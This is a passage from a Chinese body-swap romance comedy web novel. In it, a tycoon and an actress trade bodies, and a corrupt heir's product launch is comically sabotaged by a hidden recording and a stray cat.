和着温水一起递到他手里,蹙眉担忧道:“抱歉, 我应该早点提醒你的,是我疏忽了。” 人好好一霸总被摧残成这样, 代她受罪, 看着裴砚知苍白的面色,乔缨心里终于生出一股良心未泯的愧疚感。 自从两人互换身体后,她早就该料到这一天的。 倒也不是男人来月经让她很惶恐震撼, 主要是自己每次痛经都会疼得死去活来,像是有一百根钢筋在绞她的肚子一样。 这种强度的疼痛堪比心脏病发作,她很怀疑裴砚知能不能承受得住。 “谢谢。” 在乔缨担忧中含着点心虚的眼神里,裴砚知伸手接过药片吞了下去,然后继续躺回原位,默默盯着天花板某处。 乔缨奇怪道:“你在干什么?” 裴砚知面无 表情:“我在尝试重塑自己的世界观。” 毕竟万一他俩要是一辈子都换不回来了,他迟早得习惯这件事。 四肢酸软无力,身体疲惫得好像连说话的力气都没有,小腹时不时传来的痛感却愈来愈强烈,强行让大脑保持着清醒但痛苦的状态。 见他一脸便秘样,乔缨挑挑眉,凑到他身边,十分贴心地建议道:“是不是很痛?要我帮你揉揉肚子吗?” “不用。” 裴砚知现在一看到她笑就觉得大事不妙,两条秀气的眉毛皱得比沈颐招牌动作还深,浑身写满了抗拒。 “别逞强了,我的身体我自己知道。” 乔缨说罢便将手伸了进去,动作自然到让人察觉不出有什么不对劲。 裴砚知这副气血充足的健康体魄,自然要比乔缨那气血两亏的活死人身体温度要高,手指刚触碰到小腹的瞬间,滚烫的体温便沿着皮肤扩散开来,无比熨贴舒适。 因为姿势太过别扭,乔缨索性跨上床侧卧在他身侧,一手替他揉着肚子,一手撑着头饶有趣味地睨着裴砚知。 在她存在感极强的注视下,裴砚知决定眼不见为净,闭上眼睛努力放空自己。 可一旦关闭了视觉,黑暗中那只宽大手掌的触感更为清晰,一下一下像是在抚弄他的神经,有时甚至还会微微用点力道向下按压。 他分不清这到底是必要流程,还是乔缨故意而为之的恶趣味。 这是两人自结识以来动作最亲密的时刻,所有注意力都集中在下腹部,他都觉得自己有点奇怪了。 “裴总,你怎么不敢睁眼啊?” 乔缨看他闭着眼一副避她如蛇蝎的样子,越发起了逗弄的心思。 她懒懒散散地将他耳边的碎发往手指上缠去,语带蛊惑:“放轻松,都是自己的身体,你没必要害羞。” “不是因为这个。” 裴砚知扭过头看了她一眼,然后又将头转了回去,语含嫌弃:“看见自己的脸离得这么近,恐怖谷效应犯了,有点恶心。” “是吗?” 乔缨将他的头掰回来,在自己的大眼睛里不信邪地照了照。 她一边摸着下巴,一边做了个邪魅的眼神,纳闷道:“挺帅的啊,你什么审美?” “别摸了,我都怕你把我的下颌线摸成敏感肌。” 裴砚知生无可恋地叹了口气,随口问道: “女性生理期的时候……都会这么痛吗?广告里你们能跑能跳,我还一度以为卫生巾就是止疼药,只要一贴上去,就什么毛病都没有了,连上楼梯都腿脚利索了起来。” “因人而异?” 乔缨笑了笑,找了个舒服的姿势窝着,有一搭没一搭地回:“我是因为小时候经常大冬天的去水里拍戏,落下了病根,所以才这么疼的。” 裴砚知蹙着眉,疑惑地问:“你爸妈不管你吗?” “你想什么呢,他们当然不会管。” 乔缨觑起眼睛凑近,鼻尖对鼻尖,距离近到能听见彼此的呼吸声。 “这么跟你说吧,鄙人小时候的长相也属于甜美可人、人见人爱那一卦的,我那对便宜爹妈害怕我长残,在发育后突然变得不讨喜了,所以他们不允许我吃肉蛋奶,每天只给我喂烂菜叶子和白粥,试图压制我的身高,限制我的生长,生怕我这个财富密码从他们手中溜走。” 虽然从结果来看,乔父乔母这一招好像并没有什么效果。 “后来呢?”裴砚知追问。 乔缨咧嘴一笑,“一开始全靠家里的保姆偷偷给我开小灶,后来嘛……我的养母出轨了,夫妻俩整天在家里吵架,自然没工夫管我这个小人物的死活了。” 原来如此。 乔盛合的陈年旧事在圈子里不算秘密,人人都知道他不仅在数年前和妻子李娆离了婚,还将对方送进了精神病院,一分钱都没给李娆留下。 乔盛合为人阴狠毒辣,虽然自己在外头也情人不断、彩旗飘飘,但他是无论如何都忍受不了妻子给他戴绿帽子的,这无异于把他的脸面往狗屎上踩。 李娆被关进精神病院后没多久就病逝了,死之前连家里人都碍于乔盛合的威严不敢来看望,最后还是医院的护工替她收的尸。 据护工称,当年李娆死后给乔盛合留下了一本日记,记录着两人之间的点点滴滴。 李娆病逝那天还捧着日记本细细翻看,表情淡淡的,对护工说自己的前夫要是看到这个,一定会后悔当初的所作所为。 在她的想象里,乔盛合一定会像所有死人文学里的男主一样,他悔恨,他无助,他通红着双眼形容狼狈,他将京市翻了个底朝天企图找到一直被他误解虐待的前妻,但已经无济于事。 因为她要用死亡来惩罚他,让他永失所爱。 不好评价李娆是不是小说看多了,反正她很显然高估了自己在乔盛合心里的分量。 其实当年收到日记本后乔盛合一眼都没看,连带着李娆留下的遗物一起打包送进了垃圾场。 有人问他为什么不留点念想,他也只是神情厌恶地回:“家里留着死人的东西,晦气。” 晦气,这便是李娆最后得到的答案。 “你不要指望我对李娆展露什么同情。” 乔缨晃晃手指,“她当初明明只是癌症早期,及时就医或许还有治愈的希望,再不济也能延缓下病情,她却非要学什么火葬场文女主,闷不作声地憋在心里,就等着之后以死明志让渣男后悔,结果求仁得仁,怎么不算是一种思想配得上苦难呢?” 乔缨说话的时候,眼睛里没有多余的情绪,口吻轻佻,又有种置身事外的冷静,仿佛她讲述的是一件在邻居家发生的八卦。 重复性的动作让人昏昏欲睡,她打了个哈欠,无聊地把玩着手中的长发,悠悠道:“我巴不得这女人过得再惨一点,如果你指望我说出什么养育之恩、逝者为大的场面话,那我可做不到。” 裴砚知没说话,伸出手揉了揉她的头顶。 他猜得不错,幼时遭受虐待导致情感淡漠,乔缨的成长环境比他想的还要糟糕。 如果两人没有交换身体,而是通过正规渠道认识,乔缨一定不会像现在这样和他袒露惨淡的童年往事。 那换回来以后呢? 他们还会有交集吗? 裴砚知心里闪过一丝异样,忽然冷不丁问了一句:“乔缨,你有朋友吗?” “我还需要朋友?” 乔缨挑眉,“我和我其他四个人格相处得很好。” 他认真道:“我想当你朋友,可以吗?” 上扬的尾音仿佛带着钩子,衣袖被裴砚知轻轻扯了扯,她低头望去,对上了一双漆黑深邃的眼眸,像一汪深不见底的湖水,如今却有涟漪泛起。 这就有点大事不妙了。 她向来对自己的美貌没什么抵抗力。 “当朋友当然可以,但你得先把这玩意儿从菜单上撤了。” 乔缨转动眼珠,指着不远处茶几上的电解质饮料,皱眉吐槽道:“怎么能难喝成这个样子,我看上面写着零糖才拿的,结果喝完想进灵堂,不愧是叫电解质水啊,我怀疑前苏联就是喝了这个解体的。” 在她的咒骂声中,裴砚知勾唇笑了笑,手机一震,收到了一条消息。 他起身坐了起来,在乔缨疑问的眼神中晃了晃手机,说:“今天就休息到这儿吧,我待会儿还有事。” 乔缨点头,“行吧,那我送你出去。” 裴砚知觑她一眼,“不用,你这眼皮子都在打架了,在这休息吧。 不一会儿,裴砚知叫来的服务人员轻手轻脚地推开了房门,没想到乔缨没睡着,和推门而入的她对视上了。 那一刻,服务人员也不知道怎么了,忽然福至心灵问了一句:“您和乔小姐,到底是什么关系啊?” 乔缨想了想,想到刚刚的亲密举动,老脸一红,撅着嘴扭扭捏捏:“我和乔缨,就如姐妹一般。” 服务员:“?” 裴砚知走到一楼大厅时,正好碰上傅司宴带着许声蕴从会员登记室里出 来。 傅司宴见到他后明显一愣,见裴砚知脸色不好,他忙上前几步作关心状。 许声蕴站在一旁,银牙咬碎。 她自言自语地叹道:“许声蕴啊许声蕴,任凭你再怎么优秀,广告做得再好,还是被个娱乐圈的花瓶比下去了。” 她又看看一脸谄媚的傅司宴,内心一阵失落: “我这么一个大美女站在你身边你不看,反而跑去关心一个朝三暮四的坏女人,我比她漂亮,比她温柔,比她优秀,你却还是被乔缨勾走了,难道说总裁就喜欢这一款妖艳贱货型的女明星吗?肤浅!恶俗!” 想着想着,她突然就怒了。 许声蕴拿出正宫的气势挡在傅司宴面前,仰着头上下打量着裴砚知,嗤笑道: “沈颐不理你,你就来找他好兄弟当下家,乔小姐还真是有底线。您这是拆散不了绵绵和沈颐,转而来破坏我的家庭了?我要让所有人都知道,你乔缨就是个勾引别人老公上瘾,当小三的惯犯!” 傅司宴心里一紧。 这女人是在胡言乱语些什么啊? 傅南明刚决定公司新产品的代言人要让乔缨来当,还专门交代他务必谈下合作,这下不全完了吗? “啪!” 一道清脆的巴掌声回答了他的疑问。 裴砚知难得展现出几分戾气,煞白的脸上浮现出浓重的阴鸷色彩。 “滚。” 许声蕴捂着脸尖叫:“你、你怎么敢!” 傅司宴过来劝和:“乔缨,有话好好说,有话好好说!” “啪!” 裴砚知又一巴掌扇到他脸上,“你也滚。” 他爷爷的,本来今天就烦! 第35章 第三十五章 “小乔总,您真是太孝顺了…… 盛宇科技。 位于顶层的董事长办公室里, 乔俞诚不耐烦地接起了医院的电话,手中翻看文件的动作不停,嘴里时不时发出几道敷衍的应答声。 听医生的意思, 乔盛合的状态仍旧不稳定,有严重的呼吸衰竭症状, 暂时不建议转去国外治疗。 对于这个现状,乔俞诚隐隐有些着急。 如今股份已经转让给乔缨, 顺带还让她签了一份放弃遗产继承权的声明, 无论怎么看都是对自己有利。 如果乔盛合死了,那么他就能继承所有财产。 如果乔盛合运气好撑了过来,转去国外治疗,他也有冤大头替自己献孝心。 偏偏乔盛合现在处于两种状态之间,半死不活的叠加态, 反而让乔缨捡了个大便宜。 听说她把股份卖给王继盛后, 乔俞诚一阵嗤笑,也并没有产生什么危机感。 事实上, 就盛合的那一摊子烂帐,他早就不想管了, 资产负债全是赤字, 集团看似在盈利,实则是做的假账, 全都是用来唬人的,只是声势浩大的表面繁荣。 幸好董事会那群人全是酒囊饭袋, 等鸡吃完米, 等狗舔完面,他们都察觉不出猫腻。 盛合的资金全都被乔俞诚陆陆续续以各种手段转移了出去,他还特意在股价下跌的时候放出消息, 就等着哪个傻叉抱着抄底的心思来接盘,没想到还真让他钓到了王继盛这号人物。 乔俞诚现在一门心思投入到盛宇科技的运营中,盛合总部现在就只剩下一层空壳和一堆债务,他巴不得王继盛早点当上这个大股东,早点把自己踢出局,脱离苦海。 反正盛宇的股权无论如何都握在自己手里,运作一番后便能无痛退出集团,让他得以用卷走的钱美美开启人生第二春。 所以他很重视移动充电桩的项目,甚至不惜高薪挖走昭星的员工,还让他们以拍照和手抄的方式盗取机密信息。 皇天不负苦心人,这次的试点市场反应很好,现在就等着明天的新品发布会后宣布正式将成品上线了。 他想着想着,又没了声音,电话那头的医生连唤了几声:“喂,乔先生,您还在听吗?” 乔俞诚揉揉太阳穴,忍着烦躁敷衍道:“医生,是这样,我现在需要去开一个短会,您有什么事就和我秘书沟通吧。” 医生为难道:“这……好吧,那我就不打扰您了,再见。” 乔俞诚挂断电话,把手机往秘书身上一砸,不耐道:“以后别再让这种电话来骚扰我,蠢货。” 积压的工作让他抽不开身,医院那边是他特意让助理请来的专业护工在照顾,他不明白为什么这些医生还要一天天的来找他聊闲话。 他们知道他乔俞诚一分钟能赚多少钱吗? 现在正是盛宇科技的关键时期,要是耽误了他的工作,这些人赔得起吗? 拜乔家良好的遗传基因所赐,乔俞诚和他爹如出一辙,重利又薄情。 哪怕是在这种时候,比起父亲的命,他依旧认为公司更重要。 莫名其妙被训了一顿的秘书赶紧低头道歉,心说我们普通人一般不管这个叫骚扰,捡起手机脚步如风地跑了出去。 蒋南宇正好撞上了灰溜溜跑走的秘书,推开门朝乔俞诚温和地笑了笑,好脾气道:“什么事儿让咱们小乔总发这么大脾气,来,抽根烟降降火。” 乔俞诚接过,蒋南宇自然而然地拿出打火机替他点燃,良好的服务意识让他内心一阵舒爽。 我管你是什么硕士博士常春藤,读了这么多年书,还不是得对他这种捐栋楼才能勉强念上本科的水货毕恭毕敬。 人一旦被吹捧就会变得飘飘然,乔俞诚吐出一个烟圈,拿起烟嫌弃地看了看,神色倨傲道: “小蒋啊,这我可就要说说你了,你以后就别抽这种掉身份的牌子了,要是被合作方看到,还以为咱们蒋总多穷酸呢。” 蒋南宇一噎。 他何尝听不出来乔俞诚话里的轻视和奚落,但人在屋檐下,不得不低头,所以也只能低眉顺眼地点头笑笑。 他在美国过得也就那样,说好的绿卡没了,还因为自己本科院校和国籍的原因频频碰壁,要不是靠信息差骗到了乔俞诚,他这辈子都拿不到这么高的薪水。 算了,钱难挣,屎难吃。 “坐吧,傻站着干嘛呢。” 乔俞诚对他听话的态度非常满意,大发慈悲地给他赐了座。 烟雾缭绕里,他翘起二郎腿,一头歪在沙发上,状似无意地问了句:“明天的发布会准备得怎么样了?” “都准备好了。” “那就行。” 乔俞诚又换了个装逼的姿势,一只手撑着下巴,半张侧脸隐在阴影里,深沉道:“明天会进行全网同步直播,务必不能出半点差错,我们一定要抢在昭星之前发布产品,打他个措手不及。” 一提到他们共同的敌人,蒋南宇对乔俞诚的怨念瞬间转移到了裴砚知身上。 他阴险一笑,信誓旦旦道:“放心吧小乔总,咱们这次抢占了先机,我手里还有份大礼要送给裴砚知,一定能挫掉他的锐气。” 况且从八卦新闻上看,这人最近估计都忙着谈恋爱去了,根本无心事业。 这是什么?这可是弯道超车裴砚知的好时机啊! “咳,那你们的经费还够吗?” 乔俞诚这种铁公鸡当然不会把昧来的钱拿给蒋南宇用,只是象征性地问了一句。 蒋南宇翻翻数据,点头道:“之前确实经费有些紧张,但我们前几天卖了一部分用户数据给国外的机构,并且为了控制成本,我们选择外包给东南亚的工厂,比京市的工厂要节省30%的人力成本。” “很好。” 乔俞诚看着手里的报告,发现卖用户数据的收益比产品的利润还要高,忍不住开始盘算。 有没有一种公司,表面上的业务是贩卖科技产品,实际上的业务是贩卖用户数据呢? 而全国有十几亿人口,这要是做成了产业链,收入一定非常可观。 没看出来,蒋南宇居然还有几分商业头脑。 玻璃门被敲了两下,一个戴着眼镜的女人推门走了进来。 她穿着简单的白衬衫和牛仔裤,头发扎成了低马尾,身型纤瘦 ,容貌普通,厚厚的刘海和眼镜框遮住了她的眉眼。 存在感不强,看起来老实巴交的,没什么个性。 “乔总,您要的资料。” 女人朝蒋南宇微微点头打了个招呼,将手里的资料递给乔俞诚。 “你来得正好。” 乔俞诚向蒋南宇介绍道:“介绍一下,这位是我的助理邱凌,你以后有事可以直接找她。” “幸会。” 邱凌上前几步和他握手,对视的瞬间,蒋南宇看见了镜片下那双琥珀色的下垂眼,以及眼角的一道疤痕。 他微微一怔,莫名觉得在好像在哪里见过邱凌,她给他一种很熟悉的感觉。 然而转念一想,邱凌这样的大众脸也实在是稀松平常,很容易被认错混淆。 要是丢到人堆里,不出半个小时就能找出三个和她长得一模一样的人玩消消乐。 或许是错觉吧。 乔俞诚没有察觉到他的异样,慢条斯理地弹弹烟灰,问邱凌:“让你查的事情,你查清楚了吗?” 前几天居然有人趁着公司放假,把大门外的发财树毒死了。 好死不死,这里位置正好又是在风口,整条街的人都能闻到从公司门口散发出的恶臭。 有个住在附近的老大爷有哮喘病,半夜三更实在是被熏得受不了了,在市长热线里怒骂了二十分钟的盛宇科技。 大晚上被紧急通知整改时,公司里的所有人都一脸懵,匆匆赶来后还没见到大门,首先就熏吐了一波人。 空气里的恶臭顿时更浓郁了。 想到那幅宛如地狱绘卷一般的场景,乔俞诚攥紧拳头,气急败坏地怒斥: “太恶毒了,什么样的人能做得出这种事?什么样的父母能养出这种人?一家子都不是好东西,这人户口本只有一页吧!” 邱凌的眉毛一动。 她沉缓道:“当天整栋楼因为线路故障突然跳闸,摄像头并没有拍到这个人的身影。目前正在排查周边店铺和住户里是否有目击证人,暂时还没有消息。” 她长得很老实,说话的语气也很老实,显得整个人钝钝的,一副从不会说谎的实心眼子模样。 当初乔俞诚选她当助理,就是看上了她的老实和普通。 让一个学历一般、姿色平庸、老实木讷的女人替他办事,就很难让人起疑心。 所有转移盛合资产的操作他都交给了邱凌来处理,哪怕到时候东窗事发,他也能将责任推到邱凌头上,把自己摘出去。 “动作快点。” 乔俞诚阴沉一笑,在烟灰缸里碾了碾烟头,狠戾道:“要是让我抓住了,我非得把他全家剁碎扔去公海喂鱼不可!” 我勒个大义灭亲啊。 “小乔总,您真是太孝顺了。” 邱凌面不改色地推推眼镜,由衷感叹:“为了保护乔总的心血牺牲巨大,我辈楷模。” 这个傻女人,居然到现在还以为自己是在守护盛合集团,真是被人卖了还数钱。 乔俞诚懒得听她废话,挥手赶人道:“行了,别拍马屁了,去工作吧。” 看吧,当人蠢到一种地步,你要做的不是嘲笑,而是欣赏。 邱凌捕捉到乔俞诚嘴角那一抹自以为是、志得意满的笑后,满足地踏出了办公室。 走廊上,大楼里的清洁工正在擦着瓷砖,见到她后眼睛一亮。 “邱小姐!” 清洁工笑容满面地和她打了个招呼,把她拉到一边,表情神神秘秘的。 “你不是说配电房好像有动静吗?周五那天晚上,下班后楼里只有我一个人的时候,我也听到了!” “我打开门找了半天,啥也没找着,我还寻思着这鬼是不是怕光啊?” “然后我就想起了你之前说的电流会影响磁场,大着胆子一拉电闸,嚯,蹿出来好大一只耗子!吓得我当场就跑了!” 第36章 第三十六章 Surprise,mot…… 第二天一早, 博览中心的员工就开始忙忙碌碌了起来。 这次盛宇科技的新品发布会一共邀请了一百多家媒体参加,进行现场直播的工作人员正在调试着设备和镜头。 几家知名媒体的记者被安排在了前排,手里拿着的采访提纲, 无所事事地聊着天。 现场提问环节是盛宇提前安排好的,而他们要做的, 就是配合主办方尽量自然地假装自己不是托,回去再写篇拍马屁的营销通稿, 这活儿就算干完了。 记者A看着资料, 咋舌说道:“盛宇科技背后原来是盛合,难怪排场这么大,钱多就是任性哈。” 记者B抓了把瓜子,撇撇嘴压低声音:“钱多啥啊,你看自打乔盛合住院后, 盛合的股价都快跌穿地心了, 我估计啊,这盛合集团要变天了。” 记者C掀开眼皮看了一眼正在人群中侃侃而谈的乔俞诚, 语气嘲讽:“再怎么变天,也不影响人家赚钱, 当年的事儿闹得那么大, 也没见有什么后文。” 两人听到这话,立即将脑袋凑近, 忙问道:“什么事啊?我怎么没听说过?” 两人都是刚被调到京市的新人,一来就接到了这个任务, 不可能不好奇。 记者C看着两人一脸求知欲的样子, 高深莫测地说:“你们年纪小,可能不知道当年的事。乔缨你们认识吧?她是在十岁那年被乔家收养的,但你们知道为什么吗?” “听说是她养母李娆太思念意外死亡的小女儿, 乔盛合为了安慰妻子,所以才收养了乔缨?” 其中一位说道。 “这只是对外的说法,其实当年还有一种猜测。” 记者C用几乎耳语的声音说: “乔家的小女儿叫乔若,她死的那年,盛合集团因为资金链断裂险些破产,后来全靠拿到了乔若的死亡保险金才渡过危机,所以有人猜测———其实乔若的死并不是意外,而是乔盛合和李娆在杀女骗保。” “这……不可能吧?不是说乔家发现女儿失踪后出动了所有人脉找她,报了警在林子里找了几天几夜才找到尸体吗?” “确实是这样。” 记者C点点头,“当时找回来的尸体因为被摔得四分五裂,已经无法从外貌上辨认身份,乔家是通过尸体上戴着的项链才确认了死者正是自己走失的小女儿。” “可后来过了十几年,案件的经办人因为贪污受贿被抓,供述说当年的尸体根本不是乔若,年龄对不上,死亡时间也对不上,甚至连性别都对不上。” 听到这里,众人倒吸一口凉气。 记者C很满意他们的反应,继续道:“他说项链其实是乔家人提供的,他收了乔家人的贿赂,将项链戴到尸体上,草草结了案。” “这件事一出,舆论哗然,都呼吁对当年的案件重启调查,乔家的反应也很快,没过几天,乔盛合的秘书就出来认了罪,说当年的事是他干的,因为不忍心看着乔盛合强撑着身体夜以继日地寻找女儿,才想到这个馊主意让老板死心,回归正常生活。” “民众们当然不买账,可是所有的证据确实也只指向了乔盛合的秘书,后来有一个网友在天涯发帖分析,说乔家这样做是想用假尸体骗取保险金,甚至连乔若的死,都很有可能是他们故意而为之的,这个说法很快就传播开来,让盛合集团股价大跌。” 她耸耸肩,“后来的事情你们也知道了,乔家为了挽回风评收养了乔缨,发帖的那人也被乔盛合起诉判刑,这才平息了舆论。” “我还以为是什么豪门狗血故事呢,就这?” 记者B顿时意兴阑珊了起来,鄙夷道:“这不都是阴谋论吗,你们这些平民对有钱人也就这点想象力了。” 记者A白他一眼,“哟,这话说的,您又是哪家的大少爷啊,你来的时候不还在路边锁共享单车吗,我都看见了。” “你们爱信不信吧。” 记者C摊手,“反正我很怀疑当年的乔若并没有 死,想想看,谋她财害她命的亲生父母,一个得了癌症变成精神病,死了都没人收尸,一个被烧成重伤住进ICU命不久矣,除了是她在背后操作,就只有‘报应’二字可以解释了。” “不过———” 记者A再度看向乔俞诚,眼含崇拜。 “小乔总也挺有人情味儿的啊,听说他现在的助理,就是当年在精神病院照顾他妈妈的护工!传闻中那女人高中就辍了学,姿色平平,也没什么文化,就是因为小乔总感激她在母亲弥留之际时对母亲的陪伴,所以才破例让她当了自己的助理呢。” 记者C之前和乔俞诚打过几次交道,想了半晌才想起来秘书的名字,蹙眉道:“好像是叫邱凌吧?存在感特别低,看着老实巴交的。” 记者A也见过她一次,点头赞同道:“我挺喜欢她的,没有攻击性,人也淳朴,感觉确实没什么坏心眼儿。” 后台。 乔俞诚用手帕捂着鼻子,一脸嫌恶地踢了一脚笼子里的野猫。 “叫什么叫,烦死了。” 他皱着眉头后退几步,对身旁的工作人员吩咐道: “你记住了,待会儿我演讲时,掐准时间把猫放上台,让它在台上卖卖萌,你们再假装过来抓住它……但一定要赶在它靠近我之前啊,这小畜生不知道身上有多少细菌。” 现在的人都吃这一套,他连营销通稿都准备好了,什么“演讲讲到一半被猫打断”,什么“让我来简单喵几句”之类的,短视频平台上到处都是这种剧情,受欢迎得很。 工作人员感叹一句:“还是李哥有办法啊,居然想出来这一招,高,实在是高。” 乔俞诚眼里流露出几分欣赏,表扬道:“确实,小李这次干得不错,等着月底发奖金吧。” 人群里发出一阵羡慕的起哄声。 被称作李哥的男人心虚一笑。 其实他是偷了邱凌的点子。 那天他偷听到邱凌和朋友打电话,提到了把猫当作营销宣传的噱头,这才着急忙慌地赶在她之前写了策划案,拿去讨好乔俞诚。 刚巧,公司楼下就有只流浪猫,他就把猫抓了回来,还被爪子抓了好几道的伤口,踹了它几脚才老实。 李哥瞅了瞅乔俞诚的周围,小心翼翼试探道:“小乔总,邱助理今天没来吗?” 她要是到了现场,自己难免不会被拆穿。 “她今天有别的任务。” 人就是不经念叨,乔俞诚说完这句话,邱凌正巧打了个电话过来,汇报道:“乔总,我已经到地方了,事情办好后我需要来博览中心吗?” 昨天晚上,那个浇他发财树的神秘人物终于有了消息。 附近有家便利店的监控拍到当天有两名女子在公司楼下的花园里停留了十分钟,或许她们看到了作案现场。 知道这个消息后,邱凌立即在附近的小区开始寻找这两名女子,派出人手一一排查。 只要和二人见了面,不愁找不到始作俑者。 “不用了,你这几天给我把精力全都放在这件事上,务必抓到那人。” 乔俞诚三言两语挂断了电话。 时针正好指向九点,主持人准时说了开场白,一番介绍后,蒋南宇西装革履地登上了台。 他微笑着致辞,时刻谨记着千万不能抢乔俞诚的风头,所以一背完台词,就忙不迭地把乔俞诚请了出来。 乔俞诚披上大衣,一旁的秘书立即狗腿地替他理了理衣领,看着老板远去的背影,皱眉沉思。 他喃喃自语道:“奇怪,老板今天在衣服上喷的香水,味道怎么从来没闻过。” 而与此同时,因为现场的人来来往往,忙碌无比,所以谁都没注意到笼子里猫的异样。 乔俞诚走上舞台,站在蒋南宇的身旁,将发言稿的小抄攥在手心里,侃侃而谈地开始介绍。 “大家好,欢迎大家来到盛宇科技的新品发布会,我是盛宇科技的投资人乔俞诚。” 他对着镜头矜贵一笑,自信开口:“相信各位刚刚通过CEO———蒋南宇先生的介绍,已经对我们盛宇科技有了一定的了解。我们公司秉持着科技创新与人文关怀并行发展的战略理念,一直致力于开发符合现代人需求的智能产品……” 他说着说着,话筒忽然“滋啦滋啦”响了几下,没了声音。 乔俞诚拍拍话筒,责备地转头看向后台的人。 怎么回事,这些人事先没有检查过吗? 下一秒,一阵鬼哭狼号般的歌声突然从话筒里窜了出来。 “啊啊~老板全是傻逼~每天都发脾气~本事不大创造奇迹~全靠我们抄袭~” 几个男人的哄笑声立即清晰地从话筒里传了出来,听起来像是喝醉了的样子,大着舌头在聊天。 “哈哈哈,你这歌词写得真有意思,大实话啊。” “那可不,什么狗屁新时代的智能产品,还不是从昭星那边偷的设计稿,也亏他们吹得出来。” “那也是昭星活该,迟迟不让咱们晋升,要不是裴砚知看不到我们的才华,我们怎么可能倒戈来盛宇科技。” “嘿嘿嘿,我看盛宇这群人也是傻逼,连盗版都做得这么垃圾,二十台充电桩有一半都出了问题返厂维修,运输的时候还丢了一台,这都被瞒过去了,咱们公司的中层可真是管理奇才啊!” “我说乔俞诚也是抠门,只给那么点经费,还得靠卖用户数据才能继续项目,他不是京圈太子吗,他爹都那样了,也不知道替他爹积积德。” “可说呢,盛合集团股价都跌成什么样了,我隔壁邻居二舅家的大儿子投了几十万,全都打了水漂,想不开从天台跳了下去,昨天才抢救回来。” “我有个已经跑出国的朋友以前在某审计事务所工作,他说他们公司这些年帮盛合做了好几个亿的假账,盛合集团其实早就不行了!” 现场的人以及直播间的观众都呆在了原地。 救命,这是他们能听的吗? 主持人连忙上来打圆场,让乔俞诚赶紧关掉手上的话筒,对在场的媒体安抚道:“抱歉抱歉,大概是麦克风串频了,各位少安毋躁……” 她把手中的正常话筒递给乔俞诚,他刚伸手接过,一个黑影忽然如疾风般蹿上了舞台,直直朝乔俞诚的身上扑去。 乔俞诚躲闪不及,那猫的跳跃力极强,三两下便爬到了他的衣领上,死命往他衣服里钻去。 男人惊恐的声音立即从麦克风里传出来,在偌大的空间里回荡。 “快!快把这畜生抓走!来人啊!” 他慌忙大叫,秘书赶紧上台从他身上拎起了野猫。 乔俞诚怒极,当即就一个巴掌向野猫抽去,张大嘴巴咆哮:“啊!我要把你煮了炖汤喝,你这个小畜生!” 说时迟那时快,当他的嘴型还停留在“生”字时,那猫忽然停止了挣扎,将屁股对准了前方的深渊巨口。 然后,它绷直了身子,噗呲噗呲,哗啦哗啦,酣畅淋漓。 一滴黄水划过他的五位数下巴,穿过他八位数的西装,滴在了他九位数的皮鞋上。 全场寂静。 乔缨一边看着直播间里的盛况,一边收起了麦克风前的录音笔,对着乔俞诚隔空竖起中指,张狂一笑。 “Surprise,motherf**ker!” 第37章 第三十七章 爱与被爱的关系 清晨八点, 乔缨神清气爽地起了床。 盛宇科技的发布会堪称安史之乱,该说的,不该说的, 全都被录音笔里的几个人秃噜了出来。 在吃瓜群众的强烈要求下,官方连夜成立了调查组, 乔俞诚现在大概急得像热锅上的蚂蚁。 关于那只录音笔,其实它就夹带在送到赵予珞手里的充电桩里, 位置很隐秘, 乔缨一看就知道是邱凌的手笔。 怎么说,老实人才是最恐怖的。 这是乔缨自打认识邱凌后才意识到的一条世界真理。 今天是拍摄广告的日子,乔缨实在不放心让裴砚知一个人站在镜头前演尬戏,所以打算偷偷溜去场地参观参观。 她从衣柜里的一排西装里艰难挑出了一件黑色卫衣,穿上特意购置的性缩力Max的紧身蓝色牛仔裤, 再把头发 放下来搭配上黑框眼镜, 刻意往低调土气的方向打扮。 今天就算是天王老子来了,都看不出这个书呆子是裴砚知。 乔缨自信满满地走到全身镜前, 然后愣住了。 黑色卫衣,但是宽肩窄腰。 紧身牛仔, 但是腿长两米。 顺毛黑框, 但是清爽男大。 怎会如此? 乔缨有些崩溃,裴砚知这可塑性也太差了, 完全不是当演员的料啊。 幸好,这段时间在昭星的工作经历让她意识到了Plan B的重要性, 当即便拆开装着衣服的快递盒, 迅速套在身上。 很快,第二套OOTD已经搭配完成,乔缨再一次自信满满地走到了全身镜前。 这次对味儿了。 镜子里的人穿着一件丑兮兮的印花白T, 一件嘻哈风外套歪歪扭扭套在肩上,叠穿的裤子松松垮垮挂在腰间,漏了一半的腚沟子招摇无比。 好消息,真给她玩上换装Play了。 坏消息,换的是rapper! 乔缨对着露出来的那一截内裤左看右看,怎么看都觉得有点恶俗。 她从包装袋里抽出一件皱皱巴巴的红色格子衬衫,拧成麻花欲盖弥彰地系了上去。 屁帘,原来这就是屁帘。 真的很有用,中专街溜子的属性瞬间上升二十个百分点。 她震撼抬眼,好像有点懂小红苕穿搭博主的巧思了。 接下来,只需要歪着戴上棒球帽,每根手指都戴上从五金市场批发来的亚文化戒指,最后再挂上一条下了水一秒就能浮起来的大金链,齐活! 冲着镜子摆了几个姿势,乔缨身为一个奉行完美主义的处女座,仍然对今天的造型有些不满意。 “啧,学历还是太高了,看起来至少读完了大专。” 算了,大专就大专吧,反正甭管什么学历,男rapper不都一个样,没区别。 她戴上墨镜,和正要进屋的刘阿姨打了个照面,简单打完招呼后就吹着口哨大摇大摆地走出了大门。 刘爱萍看着她妖娆的姿势,站在原地讷讷问道:“裴总,今天还回家吃饭吗?” 和乔缨的大步流星不同,相隔数公里之外的裴砚知一出门就看到了蹲守在家门外的狗仔,暗道一声倒霉。 他贴着墙根走,尽头处的草丛里忽然钻出来两个人影,让他一时进退两难,僵在了原地。 那两人看起来像是中年人,一个张扬明媚,一个清癯挺拔,一个披着玫红色纱巾,一个盘着土褐色手串,一个像小偷,另一个也像小偷。 懂了,这好像是他爹妈。 裴砚知倒吸一口凉气。 狗仔被突然冒出来的两人吓了一跳,拍拍胸脯镇定了几秒,以为他们是出门遛弯儿的邻居,拿出一张照片让贺晓和裴淮生辨认。 他指着乔缨问:“您认识这个人吗?” 贺晓扶扶墨镜,“认识啊。” 他又指着裴砚知问:“那您认识这个人吗?” 裴淮生盘盘手串,“认识啊。” 狗仔精神一振,挥舞着照片结结巴巴地道:“那那那、那他俩是啥关系啊?” 贺晓和裴淮生对视一眼,表情骄傲,语气笃定:“爱与被爱的关系呗!” 狗仔激动得都要原地升天了,上蹿下跳连珠炮似地发问:“所以乔缨和裴砚知真的在一起了吗?有人说他们好事将近,你们知道这事儿吗?裴砚知是不是来过乔缨家里?” 